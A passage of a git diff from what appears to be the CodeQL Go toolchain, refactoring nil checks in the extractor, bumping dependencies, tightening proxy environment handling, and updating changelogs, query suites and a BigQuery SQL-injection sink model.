bool) { - if expr == nil { + if expr == nil || reflect.ValueOf(expr).IsNil() { return } @@ -948,9 +954,6 @@ func extractExpr(tw *trap.Writer, expr ast.Expr, parent trap.Label, idx int, ski case *ast.BadExpr: kind = dbscheme.BadExpr.Index() case *ast.Ident: - if expr == nil { - return - } kind = dbscheme.IdentExpr.Index() dbscheme.LiteralsTable.Emit(tw, lbl, expr.Name, expr.Name) def := tw.Package.TypesInfo.Defs[expr] @@ -984,15 +987,9 @@ func extractExpr(tw *trap.Writer, expr ast.Expr, parent trap.Label, idx int, ski } } case *ast.Ellipsis: - if expr == nil { - return - } kind = dbscheme.EllipsisExpr.Index() extractExpr(tw, expr.Elt, lbl, 0, false) case *ast.BasicLit: - if expr == nil { - return - } value := "" switch expr.Kind { case token.INT: @@ -1016,36 +1013,21 @@ func extractExpr(tw *trap.Writer, expr ast.Expr, parent trap.Label, idx int, ski } dbscheme.LiteralsTable.Emit(tw, lbl, value, expr.Value) case *ast.FuncLit: - if expr == nil { - return - } kind = dbscheme.FuncLitExpr.Index() extractExpr(tw, expr.Type, lbl, 0, false) extractStmt(tw, expr.Body, lbl, 1) case *ast.CompositeLit: - if expr == nil { - return - } kind = dbscheme.CompositeLitExpr.Index() extractExpr(tw, expr.Type, lbl, 0, false) extractExprs(tw, expr.Elts, lbl, 1, 1) case *ast.ParenExpr: - if expr == nil { - return - } kind = dbscheme.ParenExpr.Index() extractExpr(tw, expr.X, lbl, 0, false) case *ast.SelectorExpr: - if expr == nil { - return - } kind = dbscheme.SelectorExpr.Index() extractExpr(tw, expr.X, lbl, 0, false) extractExpr(tw, expr.Sel, lbl, 1, false) case *ast.IndexExpr: - if expr == nil { - return - } typeofx := typeOf(tw, expr.X) if typeofx == nil { // We are missing type information for `expr.X`, so we cannot @@ -1065,9 +1047,6 @@ func extractExpr(tw *trap.Writer, expr ast.Expr, parent trap.Label, idx int, ski extractExpr(tw, expr.X, lbl, 0, false) extractExpr(tw, expr.Index, lbl, 1, false) case *ast.IndexListExpr: - if expr == nil { - return - } typeofx := typeOf(tw, expr.X) if typeofx == nil { // We are missing type information for `expr.X`, so we cannot @@ -1084,18 +1063,12 @@ func extractExpr(tw *trap.Writer, expr ast.Expr, parent trap.Label, idx int, ski extractExpr(tw, expr.X, lbl, 0, false) extractExprs(tw, expr.Indices, lbl, 1, 1) case *ast.SliceExpr: - if expr == nil { - return - } kind = dbscheme.SliceExpr.Index() extractExpr(tw, expr.X, lbl, 0, false) extractExpr(tw, expr.Low, lbl, 1, false) extractExpr(tw, expr.High, lbl, 2, false) extractExpr(tw, expr.Max, lbl, 3, false) case *ast.TypeAssertExpr: - if expr == nil { - return - } kind = dbscheme.TypeAssertExpr.Index() extractExpr(tw, expr.X, lbl, 0, false) // expr.Type can be `nil` if this is the `x.(type)` in a type switch. @@ -1103,9 +1076,6 @@ func extractExpr(tw *trap.Writer, expr ast.Expr, parent trap.Label, idx int, ski extractExpr(tw, expr.Type, lbl, 1, false) } case *ast.CallExpr: - if expr == nil { - return - } kind = dbscheme.CallOrConversionExpr.Index() extractExpr(tw, expr.Fun, lbl, 0, false) extractExprs(tw, expr.Args, lbl, 1, 1) @@ -1113,22 +1083,13 @@ func extractExpr(tw *trap.Writer, expr ast.Expr, parent trap.Label, idx int, ski dbscheme.HasEllipsisTable.Emit(tw, lbl) } case *ast.StarExpr: - if expr == nil { - return - } kind = dbscheme.StarExpr.Index() extractExpr(tw, expr.X, lbl, 0, false) case *ast.KeyValueExpr: - if expr == nil { - return - } kind = dbscheme.KeyValueExpr.Index() extractExpr(tw, expr.Key, lbl, 0, false) extractExpr(tw, expr.Value, lbl, 1, false) case *ast.UnaryExpr: - if expr == nil { - return - } if expr.Op == token.TILDE { kind = dbscheme.TypeSetLiteralExpr.Index() } else { @@ -1140,9 +1101,6 @@ func extractExpr(tw *trap.Writer, expr ast.Expr, parent trap.Label, idx int, ski } extractExpr(tw, expr.X, lbl, 0, false) case *ast.BinaryExpr: - if expr == nil { - return - } _, isUnionType := typeOf(tw, expr).(*types.Union) if expr.Op == token.OR && isUnionType { kind = dbscheme.TypeSetLiteralExpr.Index() @@ -1158,46 +1116,28 @@ func extractExpr(tw *trap.Writer, expr ast.Expr, parent trap.Label, idx int, ski extractExpr(tw, expr.Y, lbl, 1, false) } case *ast.ArrayType: - if expr == nil { - return - } kind = dbscheme.ArrayTypeExpr.Index() extractExpr(tw, expr.Len, lbl, 0, false) extractExpr(tw, expr.Elt, lbl, 1, false) case *ast.StructType: - if expr == nil { - return - } kind = dbscheme.StructTypeExpr.Index() extractFields(tw, expr.Fields, lbl, 0, 1) case *ast.FuncType: - if expr == nil { - return - } kind = dbscheme.FuncTypeExpr.Index() extractFields(tw, expr.Params, lbl, 0, 1) extractFields(tw, expr.Results, lbl, -1, -1) emitScopeNodeInfo(tw, expr, lbl) case *ast.InterfaceType: - if expr == nil { - return - } kind = dbscheme.InterfaceTypeExpr.Index() // expr.Methods contains methods, embedded interfaces and type set // literals. makeTypeSetLiteralsUnionTyped(tw, expr.Methods) extractFields(tw, expr.Methods, lbl, 0, 1) case *ast.MapType: - if expr == nil { - return - } kind = dbscheme.MapTypeExpr.Index() extractExpr(tw, expr.Key, lbl, 0, false) extractExpr(tw, expr.Value, lbl, 1, false) case *ast.ChanType: - if expr == nil { - return - } tp := dbscheme.ChanTypeExprs[expr.Dir] if tp == nil { log.Fatalf("unsupported channel direction %v", expr.Dir) @@ -1299,7 +1239,7 @@ func extractFields(tw *trap.Writer, fields *ast.FieldList, parent trap.Label, id // extractStmt extracts AST information for a given statement and all other statements or expressions // nested inside it func extractStmt(tw *trap.Writer, stmt ast.Stmt, parent trap.Label, idx int) { - if stmt == nil { + if stmt == nil || reflect.ValueOf(stmt).IsNil() { return } @@ -1309,37 +1249,22 @@ func extractStmt(tw *trap.Writer, stmt ast.Stmt, parent trap.Label, idx int) { case *ast.BadStmt: kind = dbscheme.BadStmtType.Index() case *ast.DeclStmt: - if stmt == nil { - return - } kind = dbscheme.DeclStmtType.Index() extractDecl(tw, stmt.Decl, lbl, 0) case *ast.EmptyStmt: kind = dbscheme.EmptyStmtType.Index() case *ast.LabeledStmt: - if stmt == nil { - return - } kind = dbscheme.LabeledStmtType.Index() extractExpr(tw, stmt.Label, lbl, 0, false) extractStmt(tw, stmt.Stmt, lbl, 1) case *ast.ExprStmt: - if stmt == nil { - return - } kind = dbscheme.ExprStmtType.Index() extractExpr(tw, stmt.X, lbl, 0, false) case *ast.SendStmt: - if stmt == nil { - return - } kind = dbscheme.SendStmtType.Index() extractExpr(tw, stmt.Chan, lbl, 0, false) extractExpr(tw, stmt.Value, lbl, 1, false) case *ast.IncDecStmt: - if stmt == nil { - return - } if stmt.Tok == token.INC { kind = dbscheme.IncStmtType.Index() } else if stmt.Tok == token.DEC { @@ -1349,9 +1274,6 @@ func extractStmt(tw *trap.Writer, stmt ast.Stmt, parent trap.Label, idx int) { } extractExpr(tw, stmt.X, lbl, 0, false) case *ast.AssignStmt: - if stmt == nil { - return - } tp := dbscheme.AssignStmtTypes[stmt.Tok] if tp == nil { log.Fatalf("unsupported assignment statement with operator %v", stmt.Tok) @@ -1360,24 +1282,15 @@ func extractStmt(tw *trap.Writer, stmt ast.Stmt, parent trap.Label, idx int) { extractExprs(tw, stmt.Lhs, lbl, -1, -1) extractExprs(tw, stmt.Rhs, lbl, 1, 1) case *ast.GoStmt: - if stmt == nil { - return - } kind = dbscheme.GoStmtType.Index() extractExpr(tw, stmt.Call, lbl, 0, false) case *ast.DeferStmt: - if stmt == nil { - return - } kind = dbscheme.DeferStmtType.Index() extractExpr(tw, stmt.Call, lbl, 0, false) case *ast.ReturnStmt: kind = dbscheme.ReturnStmtType.Index() extractExprs(tw, stmt.Results, lbl, 0, 1) case *ast.BranchStmt: - if stmt == nil { - return - } switch stmt.Tok { case token.BREAK: kind = dbscheme.BreakStmtType.Index() @@ -1392,16 +1305,10 @@ func extractStmt(tw *trap.Writer, stmt ast.Stmt, parent trap.Label, idx int) { } extractExpr(tw, stmt.Label, lbl, 0, false) case *ast.BlockStmt: - if stmt == nil { - return - } kind = dbscheme.BlockStmtType.Index() extractStmts(tw, stmt.List, lbl, 0, 1) emitScopeNodeInfo(tw, stmt, lbl) case *ast.IfStmt: - if stmt == nil { - return - } kind = dbscheme.IfStmtType.Index() extractStmt(tw, stmt.Init, lbl, 0) extractExpr(tw, stmt.Cond, lbl, 1, false) @@ -1409,35 +1316,23 @@ func extractStmt(tw *trap.Writer, stmt ast.Stmt, parent trap.Label, idx int) { extractStmt(tw, stmt.Else, lbl, 3) emitScopeNodeInfo(tw, stmt, lbl) case *ast.CaseClause: - if stmt == nil { - return - } kind = dbscheme.CaseClauseType.Index() extractExprs(tw, stmt.List, lbl, -1, -1) extractStmts(tw, stmt.Body, lbl, 0, 1) emitScopeNodeInfo(tw, stmt, lbl) case *ast.SwitchStmt: - if stmt == nil { - return - } kind = dbscheme.ExprSwitchStmtType.Index() extractStmt(tw, stmt.Init, lbl, 0) extractExpr(tw, stmt.Tag, lbl, 1, false) extractStmt(tw, stmt.Body, lbl, 2) emitScopeNodeInfo(tw, stmt, lbl) case *ast.TypeSwitchStmt: - if stmt == nil { - return - } kind = dbscheme.TypeSwitchStmtType.Index() extractStmt(tw, stmt.Init, lbl, 0) extractStmt(tw, stmt.Assign, lbl, 1) extractStmt(tw, stmt.Body, lbl, 2) emitScopeNodeInfo(tw, stmt, lbl) case *ast.CommClause: - if stmt == nil { - return - } kind = dbscheme.CommClauseType.Index() extractStmt(tw, stmt.Comm, lbl, 0) extractStmts(tw, stmt.Body, lbl, 1, 1) @@ -1446,9 +1341,6 @@ func extractStmt(tw *trap.Writer, stmt ast.Stmt, parent trap.Label, idx int) { kind = dbscheme.SelectStmtType.Index() extractStmt(tw, stmt.Body, lbl, 0) case *ast.ForStmt: - if stmt == nil { - return - } kind = dbscheme.ForStmtType.Index() extractStmt(tw, stmt.Init, lbl, 0) extractExpr(tw, stmt.Cond, lbl, 1, false) @@ -1456,9 +1348,6 @@ func extractStmt(tw *trap.Writer, stmt ast.Stmt, parent trap.Label, idx int) { extractStmt(tw, stmt.Body, lbl, 3) emitScopeNodeInfo(tw, stmt, lbl) case *ast.RangeStmt: - if stmt == nil { - return - } kind = dbscheme.RangeStmtType.Index() extractExpr(tw, stmt.Key, lbl, 0, false) extractExpr(tw, stmt.Value, lbl, 1, false) @@ -1486,15 +1375,15 @@ func extractStmts(tw *trap.Writer, stmts []ast.Stmt, parent trap.Label, idx int, // extractDecl extracts AST information for the given declaration func extractDecl(tw *trap.Writer, decl ast.Decl, parent trap.Label, idx int) { + if reflect.ValueOf(decl).IsNil() { + return + } lbl := tw.Labeler.LocalID(decl) var kind int switch decl := decl.(type) { case *ast.BadDecl: kind = dbscheme.BadDeclType.Index() case *ast.GenDecl: - if decl == nil { - return - } switch decl.Tok { case token.IMPORT: kind = dbscheme.ImportDeclType.Index() @@ -1512,9 +1401,6 @@ func extractDecl(tw *trap.Writer, decl ast.Decl, parent trap.Label, idx int) { } extractDoc(tw, decl.Doc, lbl) case *ast.FuncDecl: - if decl == nil { - return - } kind = dbscheme.FuncDeclType.Index() extractFields(tw, decl.Recv, lbl, -1, -1) extractExpr(tw, decl.Name, lbl, 0, false) diff --git a/go/extractor/go.mod b/go/extractor/go.mod index cfdc82cbd2b4..8dce8565a58a 100644 --- a/go/extractor/go.mod +++ b/go/extractor/go.mod @@ -9,8 +9,8 @@ toolchain go1.24.0 // when adding or removing dependencies, run // bazel mod tidy require ( - golang.org/x/mod v0.24.0 - golang.org/x/tools v0.33.0 + golang.org/x/mod v0.25.0 + golang.org/x/tools v0.34.0 ) -require golang.org/x/sync v0.14.0 // indirect +require golang.org/x/sync v0.15.0 // indirect diff --git a/go/extractor/go.sum b/go/extractor/go.sum index 3341c6aa4ddc..c6a97825c8a1 100644 --- a/go/extractor/go.sum +++ b/go/extractor/go.sum @@ -1,8 +1,8 @@ github.com/google/go-cmp v0.6.0 h1:ofyhxvXcZhMsU5ulbFiLKl/XBFqE1GSq7atu8tAmTRI= github.com/google/go-cmp v0.6.0/go.mod h1:17dUlkBOakJ0+DkrSSNjCkIjxS6bF9zb3elmeNGIjoY= -golang.org/x/mod v0.24.0 h1:ZfthKaKaT4NrhGVZHO1/WDTwGES4De8KtWO0SIbNJMU= -golang.org/x/mod v0.24.0/go.mod h1:IXM97Txy2VM4PJ3gI61r1YEk/gAj6zAHN3AdZt6S9Ww= -golang.org/x/sync v0.14.0 h1:woo0S4Yywslg6hp4eUFjTVOyKt0RookbpAHG4c1HmhQ= -golang.org/x/sync v0.14.0/go.mod h1:1dzgHSNfp02xaA81J2MS99Qcpr2w7fw1gpm99rleRqA= -golang.org/x/tools v0.33.0 h1:4qz2S3zmRxbGIhDIAgjxvFutSvH5EfnsYrRBj0UI0bc= -golang.org/x/tools v0.33.0/go.mod h1:CIJMaWEY88juyUfo7UbgPqbC8rU2OqfAV1h2Qp0oMYI= +golang.org/x/mod v0.25.0 h1:n7a+ZbQKQA/Ysbyb0/6IbB1H/X41mKgbhfv7AfG/44w= +golang.org/x/mod v0.25.0/go.mod h1:IXM97Txy2VM4PJ3gI61r1YEk/gAj6zAHN3AdZt6S9Ww= +golang.org/x/sync v0.15.0 h1:KWH3jNZsfyT6xfAfKiz6MRNmd46ByHDYaZ7KSkCtdW8= +golang.org/x/sync v0.15.0/go.mod h1:1dzgHSNfp02xaA81J2MS99Qcpr2w7fw1gpm99rleRqA= +golang.org/x/tools v0.34.0 h1:qIpSLOxeCYGg9TrcJokLBG4KFA6d795g0xkBkiESGlo= +golang.org/x/tools v0.34.0/go.mod h1:pAP9OwEaY1CAW3HOmg3hLZC5Z0CCmzjAF2UQMSqNARg= diff --git a/go/extractor/util/registryproxy.go b/go/extractor/util/registryproxy.go index 43eaa461032a..301d45896d2e 100644 --- a/go/extractor/util/registryproxy.go +++ b/go/extractor/util/registryproxy.go @@ -50,8 +50,8 @@ func parseRegistryConfigs(str string) ([]RegistryConfig, error) { func getEnvVars() []string { var result []string - if proxy_host, proxy_host_set := os.LookupEnv(PROXY_HOST); proxy_host_set { - if proxy_port, proxy_port_set := os.LookupEnv(PROXY_PORT); proxy_port_set { + if proxy_host, proxy_host_set := os.LookupEnv(PROXY_HOST); proxy_host_set && proxy_host != "" { + if proxy_port, proxy_port_set := os.LookupEnv(PROXY_PORT); proxy_port_set && proxy_port != "" { proxy_address = fmt.Sprintf("http://%s:%s", proxy_host, proxy_port) result = append(result, fmt.Sprintf("HTTP_PROXY=%s", proxy_address), fmt.Sprintf("HTTPS_PROXY=%s", proxy_address)) @@ -59,7 +59,7 @@ func getEnvVars() []string { } } - if proxy_cert, proxy_cert_set := os.LookupEnv(PROXY_CA_CERTIFICATE); proxy_cert_set { + if proxy_cert, proxy_cert_set := os.LookupEnv(PROXY_CA_CERTIFICATE); proxy_cert_set && proxy_cert != "" { // Write the certificate to a temporary file slog.Info("Found certificate") @@ -82,7 +82,7 @@ func getEnvVars() []string { } } - if proxy_urls, proxy_urls_set := os.LookupEnv(PROXY_URLS); proxy_urls_set { + if proxy_urls, proxy_urls_set := os.LookupEnv(PROXY_URLS); proxy_urls_set && proxy_urls != "" { val, err := parseRegistryConfigs(proxy_urls) if err != nil { slog.Error("Unable to parse proxy configurations", slog.String("error", err.Error())) diff --git a/go/ql/consistency-queries/CHANGELOG.md b/go/ql/consistency-queries/CHANGELOG.md index c3254e1caad7..3fa1fa4c69be 100644 --- a/go/ql/consistency-queries/CHANGELOG.md +++ b/go/ql/consistency-queries/CHANGELOG.md @@ -1,3 +1,11 @@ +## 1.0.25 + +No user-facing changes. + +## 1.0.24 + +No user-facing changes. + ## 1.0.23 No user-facing changes. diff --git a/go/ql/consistency-queries/change-notes/released/1.0.24.md b/go/ql/consistency-queries/change-notes/released/1.0.24.md new file mode 100644 index 000000000000..379b5e336576 --- /dev/null +++ b/go/ql/consistency-queries/change-notes/released/1.0.24.md @@ -0,0 +1,3 @@ +## 1.0.24 + +No user-facing changes. diff --git a/go/ql/consistency-queries/change-notes/released/1.0.25.md b/go/ql/consistency-queries/change-notes/released/1.0.25.md new file mode 100644 index 000000000000..51ce67fd9b15 --- /dev/null +++ b/go/ql/consistency-queries/change-notes/released/1.0.25.md @@ -0,0 +1,3 @@ +## 1.0.25 + +No user-facing changes. diff --git a/go/ql/consistency-queries/codeql-pack.release.yml b/go/ql/consistency-queries/codeql-pack.release.yml index 0f96ba41d168..a5a44030e851 100644 --- a/go/ql/consistency-queries/codeql-pack.release.yml +++ b/go/ql/consistency-queries/codeql-pack.release.yml @@ -1,2 +1,2 @@ --- -lastReleaseVersion: 1.0.23 +lastReleaseVersion: 1.0.25 diff --git a/go/ql/consistency-queries/qlpack.yml b/go/ql/consistency-queries/qlpack.yml index 029a8ee5a217..aaa9a44cb15c 100644 --- a/go/ql/consistency-queries/qlpack.yml +++ b/go/ql/consistency-queries/qlpack.yml @@ -1,5 +1,5 @@ name: codeql-go-consistency-queries -version: 1.0.23 +version: 1.0.25 groups: - go - queries diff --git a/go/ql/integration-tests/query-suite/go-code-scanning.qls.expected b/go/ql/integration-tests/query-suite/go-code-scanning.qls.expected index 609e21e82ec0..20fcacbc3896 100644 --- a/go/ql/integration-tests/query-suite/go-code-scanning.qls.expected +++ b/go/ql/integration-tests/query-suite/go-code-scanning.qls.expected @@ -8,6 +8,7 @@ ql/go/ql/src/Security/CWE-022/TaintedPath.ql ql/go/ql/src/Security/CWE-022/UnsafeUnzipSymlink.ql ql/go/ql/src/Security/CWE-022/ZipSlip.ql ql/go/ql/src/Security/CWE-078/CommandInjection.ql +ql/go/ql/src/Security/CWE-079/HtmlTemplateEscapingBypassXss.ql ql/go/ql/src/Security/CWE-079/ReflectedXss.ql ql/go/ql/src/Security/CWE-089/SqlInjection.ql ql/go/ql/src/Security/CWE-089/StringBreak.ql diff --git a/go/ql/integration-tests/query-suite/go-security-and-quality.qls.expected b/go/ql/integration-tests/query-suite/go-security-and-quality.qls.expected index 46f21d921ef7..ee0ec8f42ba7 100644 --- a/go/ql/integration-tests/query-suite/go-security-and-quality.qls.expected +++ b/go/ql/integration-tests/query-suite/go-security-and-quality.qls.expected @@ -30,6 +30,7 @@ ql/go/ql/src/Security/CWE-022/TaintedPath.ql ql/go/ql/src/Security/CWE-022/UnsafeUnzipSymlink.ql ql/go/ql/src/Security/CWE-022/ZipSlip.ql ql/go/ql/src/Security/CWE-078/CommandInjection.ql +ql/go/ql/src/Security/CWE-079/HtmlTemplateEscapingBypassXss.ql ql/go/ql/src/Security/CWE-079/ReflectedXss.ql ql/go/ql/src/Security/CWE-089/SqlInjection.ql ql/go/ql/src/Security/CWE-089/StringBreak.ql @@ -50,6 +51,5 @@ ql/go/ql/src/Security/CWE-640/EmailInjection.ql ql/go/ql/src/Security/CWE-643/XPathInjection.ql ql/go/ql/src/Security/CWE-681/IncorrectIntegerConversionQuery.ql ql/go/ql/src/Security/CWE-770/UncontrolledAllocationSize.ql -ql/go/ql/src/Security/CWE-798/HardcodedCredentials.ql ql/go/ql/src/Security/CWE-918/RequestForgery.ql ql/go/ql/src/Summary/LinesOfCode.ql diff --git a/go/ql/integration-tests/query-suite/go-security-extended.qls.expected b/go/ql/integration-tests/query-suite/go-security-extended.qls.expected index a206ef2364ab..9116f7b7ebf6 100644 --- a/go/ql/integration-tests/query-suite/go-security-extended.qls.expected +++ b/go/ql/integration-tests/query-suite/go-security-extended.qls.expected @@ -8,6 +8,7 @@ ql/go/ql/src/Security/CWE-022/TaintedPath.ql ql/go/ql/src/Security/CWE-022/UnsafeUnzipSymlink.ql ql/go/ql/src/Security/CWE-022/ZipSlip.ql ql/go/ql/src/Security/CWE-078/CommandInjection.ql +ql/go/ql/src/Security/CWE-079/HtmlTemplateEscapingBypassXss.ql ql/go/ql/src/Security/CWE-079/ReflectedXss.ql ql/go/ql/src/Security/CWE-089/SqlInjection.ql ql/go/ql/src/Security/CWE-089/StringBreak.ql @@ -28,6 +29,5 @@ ql/go/ql/src/Security/CWE-640/EmailInjection.ql ql/go/ql/src/Security/CWE-643/XPathInjection.ql ql/go/ql/src/Security/CWE-681/IncorrectIntegerConversionQuery.ql ql/go/ql/src/Security/CWE-770/UncontrolledAllocationSize.ql -ql/go/ql/src/Security/CWE-798/HardcodedCredentials.ql ql/go/ql/src/Security/CWE-918/RequestForgery.ql ql/go/ql/src/Summary/LinesOfCode.ql diff --git a/go/ql/integration-tests/query-suite/not_included_in_qls.expected b/go/ql/integration-tests/query-suite/not_included_in_qls.expected index 751c76041a29..3b79e47da44f 100644 --- a/go/ql/integration-tests/query-suite/not_included_in_qls.expected +++ b/go/ql/integration-tests/query-suite/not_included_in_qls.expected @@ -6,6 +6,7 @@ ql/go/ql/src/Security/CWE-020/UntrustedDataToExternalAPI.ql ql/go/ql/src/Security/CWE-020/UntrustedDataToUnknownExternalAPI.ql ql/go/ql/src/Security/CWE-078/StoredCommand.ql ql/go/ql/src/Security/CWE-079/StoredXss.ql +ql/go/ql/src/Security/CWE-798/HardcodedCredentials.ql ql/go/ql/src/definitions.ql ql/go/ql/src/experimental/CWE-090/LDAPInjection.ql ql/go/ql/src/experimental/CWE-1004/CookieWithoutHttpOnly.ql @@ -20,7 +21,6 @@ ql/go/ql/src/experimental/CWE-522-DecompressionBombs/DecompressionBombs.ql ql/go/ql/src/experimental/CWE-525/WebCacheDeception.ql ql/go/ql/src/experimental/CWE-74/DsnInjection.ql ql/go/ql/src/experimental/CWE-74/DsnInjectionLocal.ql -ql/go/ql/src/experimental/CWE-79/HTMLTemplateEscapingPassthrough.ql ql/go/ql/src/experimental/CWE-807/SensitiveConditionBypass.ql ql/go/ql/src/experimental/CWE-840/ConditionalBypass.ql ql/go/ql/src/experimental/CWE-918/SSRF.ql diff --git a/go/ql/lib/CHANGELOG.md b/go/ql/lib/CHANGELOG.md index 9eb5ef69ebcd..879662575e20 100644 --- a/go/ql/lib/CHANGELOG.md +++ b/go/ql/lib/CHANGELOG.md @@ -1,3 +1,13 @@ +## 4.2.7 + +### Minor Analysis Improvements + +* The first argument of `Client.Query` in `cloud.google.com/go/bigquery` is now recognized as a SQL injection sink. + +## 4.2.6 + +No user-facing changes. + ## 4.2.5 No user-facing changes. @@ -30,10 +40,6 @@ No user-facing changes. * The member predicate `hasLocationInfo` has been deprecated on the following classes: `BasicBlock`, `Callable`, `Content`, `ContentSet`, `ControlFlow::Node`, `DataFlowCallable`, `DataFlow::Node`, `Entity`, `GVN`, `HtmlTemplate::TemplateStmt`, `IR:WriteTarget`, `SourceSinkInterpretationInput::SourceOrSinkElement`, `SourceSinkInterpretationInput::InterpretNode`, `SsaVariable`, `SsaDefinition`, `SsaWithFields`, `StringOps::ConcatenationElement`, `Type`, and `VariableWithFields`. Use `getLocation()` instead. -### Major Analysis Improvements - -* Go 1.24 is now supported. This includes the new language feature of generic type aliases. - ### Minor Analysis Improvements * The location info for the following classes has been changed slightly to match a location that is in the database: `BasicBlock`, `ControlFlow::EntryNode`, `ControlFlow::ExitNode`, `ControlFlow::ConditionGuardNode`, `IR::ImplicitLiteralElementIndexInstruction`, `IR::EvalImplicitTrueInstruction`, `SsaImplicitDefinition`, `SsaPhiNode`. @@ -48,6 +54,10 @@ No user-facing changes. * The member predicate `getNamedType` on `GoMicro::ServiceInterfaceType` has been deprecated. Use the new member predicate `getDefinedType` instead. * The member predicate `getNamedType` on `Twirp::ServiceInterfaceType` has been deprecated. Use the new member predicate `getDefinedType` instead. +### Major Analysis Improvements + +* Go 1.24 is now supported. This includes the new language feature of generic type aliases. + ### Minor Analysis Improvements * Taint models have been added for the `weak` package, which was added in Go 1.24. diff --git a/go/ql/lib/change-notes/released/4.1.0.md b/go/ql/lib/change-notes/released/4.1.0.md index 3061e491f48b..728d754bd1df 100644 --- a/go/ql/lib/change-notes/released/4.1.0.md +++ b/go/ql/lib/change-notes/released/4.1.0.md @@ -6,6 +6,10 @@ * The member predicate `getNamedType` on `GoMicro::ServiceInterfaceType` has been deprecated. Use the new member predicate `getDefinedType` instead. * The member predicate `getNamedType` on `Twirp::ServiceInterfaceType` has been deprecated. Use the new member predicate `getDefinedType` instead. +### Major Analysis Improvements + +* Go 1.24 is now supported. This includes the new language feature of generic type aliases. + ### Minor Analysis Improvements * Taint models have been added for the `weak` package, which was added in Go 1.24. diff --git a/go/ql/lib/change-notes/released/4.2.0.md b/go/ql/lib/change-notes/released/4.2.0.md index 771e8733053d..34af613a0159 100644 --- a/go/ql/lib/change-notes/released/4.2.0.md +++ b/go/ql/lib/change-notes/released/4.2.0.md @@ -4,10 +4,6 @@ * The member predicate `hasLocationInfo` has been deprecated on the following classes: `BasicBlock`, `Callable`, `Content`, `ContentSet`, `ControlFlow::Node`, `DataFlowCallable`, `DataFlow::Node`, `Entity`, `GVN`, `HtmlTemplate::TemplateStmt`, `IR:WriteTarget`, `SourceSinkInterpretationInput::SourceOrSinkElement`, `SourceSinkInterpretationInput::InterpretNode`, `SsaVariable`, `SsaDefinition`, `SsaWithFields`, `StringOps::ConcatenationElement`, `Type`, and `VariableWithFields`. Use `getLocation()` instead. -### Major Analysis Improvements - -* Go 1.24 is now supported. This includes the new language feature of generic type aliases. - ### Minor Analysis Improvements * The location info for the following classes has been changed slightly to match a location that is in the database: `BasicBlock`, `ControlFlow::EntryNode`, `ControlFlow::ExitNode`, `ControlFlow::ConditionGuardNode`, `IR::ImplicitLiteralElementIndexInstruction`, `IR::EvalImplicitTrueInstruction`, `SsaImplicitDefinition`, `SsaPhiNode`. diff --git a/go/ql/lib/change-notes/released/4.2.6.md b/go/ql/lib/change-notes/released/4.2.6.md new file mode 100644 index 000000000000..4b76e98c68b3 --- /dev/null +++ b/go/ql/lib/change-notes/released/4.2.6.md @@ -0,0 +1,3 @@ +## 4.2.6 + +No user-facing changes. diff --git a/go/ql/lib/change-notes/released/4.2.7.md b/go/ql/lib/change-notes/released/4.2.7.md new file mode 100644 index 000000000000..118b032c018d --- /dev/null +++ b/go/ql/lib/change-notes/released/4.2.7.md @@ -0,0 +1,5 @@ +## 4.2.7 + +### Minor Analysis Improvements + +* The first argument of `Client.Query` in `cloud.google.com/go/bigquery` is now recognized as a SQL injection sink. diff --git a/go/ql/lib/codeql-pack.release.yml b/go/ql/lib/codeql-pack.release.yml index 1821397188ee..0c0ee7d4dfd5 100644 --- a/go/ql/lib/codeql-pack.release.yml +++ b/go/ql/lib/codeql-pack.release.yml @@ -1,2 +1,2 @@ --- -lastReleaseVersion: 4.2.5 +lastReleaseVersion: 4.2.7 diff --git a/go/ql/lib/ext/cloud.google.com.go.bigquery.model.yml b/go/ql/lib/ext/cloud.google.com.go.bigquery.model.yml new file mode 100644 index 000000000000..e2d51e9c6ae2 --- /dev/null +++ b/go/ql/lib/ext/cloud.google.com.go.bigquery.model.yml @@ -0,0 +1,6 @@ +extensions: + - addsTo: + pack: codeql/go-all + extensible: sinkModel + data: + - ["cloud.google.com/go/bigquery", "Client", True, "Query", "", "", "Argument[0]", "sql-injection", "manual"] diff --git a/go/ql/lib/qlpack.yml b/go/ql/lib/qlpack.yml index 6effb4ee5899..6cf364479830 100644 --- a/go/ql/lib/qlpack.yml +++ b/go/ql/lib/qlpack.yml @@ -1,5 +1,5 @@ name: codeql/go-all -version: 4.2.5 +version: 4.2.7 groups: go dbscheme: go.dbscheme extractor: go diff --git a/go/ql/lib/semmle/go/controlflow/IR.qll b/go/ql/lib/semmle/go/controlflow/IR.qll index 6c7a0c682b53..1a56dfcf2dc9 100644 --- a/go/ql/lib/semmle/go/controlflow/IR.qll +++ b/go/ql/lib/semmle/go/controlflow/IR.qll @@ -718,10 +718,6 @@ module IR { predicate extractsElement(Instruction base, int idx) { base = this.getBase() and idx = i } override Type getResultType() { - exists(CallExpr c | this.getBase() = evalExprInstruction(c) | - result = c.getTarget().getResultType(i) - ) - or exists(Expr e | this.getBase() = evalExprInstruction(e) | result = e.getType().(TupleType).getComponentType(pragma[only_bind_into](i)) ) diff --git a/go/ql/src/CHANGELOG.md b/go/ql/src/CHANGELOG.md index a90fa7b70345..b711743ccc9a 100644 --- a/go/ql/src/CHANGELOG.md +++ b/go/ql/src/CHANGELOG.md @@ -1,3 +1,15 @@ +## 1.3.0 + +### New Queries + +* Query (`go/html-template-escaping-bypass-xss`) has been promoted to the main query suite. This query finds potential cross-site scripting (XSS) vulnerabilities when using the `html/template` package, caused by user input being cast to a type which bypasses the HTML autoescaping. It was originally contributed to the experimental query pack by @gagliardetto in . + +## 1.2.1 + +### Minor Analysis Improvements + +* The query `go/hardcoded-credentials` has been removed from all query suites. + ## 1.2.0 ### Query Metadata Changes diff --git a/go/ql/src/experimental/CWE-79/HTMLTemplateEscapingPassthrough.qhelp b/go/ql/src/Security/CWE-079/HtmlTemplateEscapingBypassXss.qhelp similarity index 79% rename from go/ql/src/experimental/CWE-79/HTMLTemplateEscapingPassthrough.qhelp rename to go/ql/src/Security/CWE-079/HtmlTemplateEscapingBypassXss.qhelp index a842a685f238..2a0d27304c95 100644 --- a/go/ql/src/experimental/CWE-79/HTMLTemplateEscapingPassthrough.qhelp +++ b/go/ql/src/Security/CWE-079/HtmlTemplateEscapingBypassXss.qhelp @@ -8,7 +8,7 @@ that allow values to be rendered as-is in the template, avoiding the escaping that all the other strings go through.

-

Using them on user-provided values will result in an opportunity for XSS.

+

Using them on user-provided values allows for a cross-site scripting vulnerability.

@@ -19,10 +19,10 @@

In the first example you can see the special types and how they are used in a template:

- +

To avoid XSS, all user input should be a normal string type.

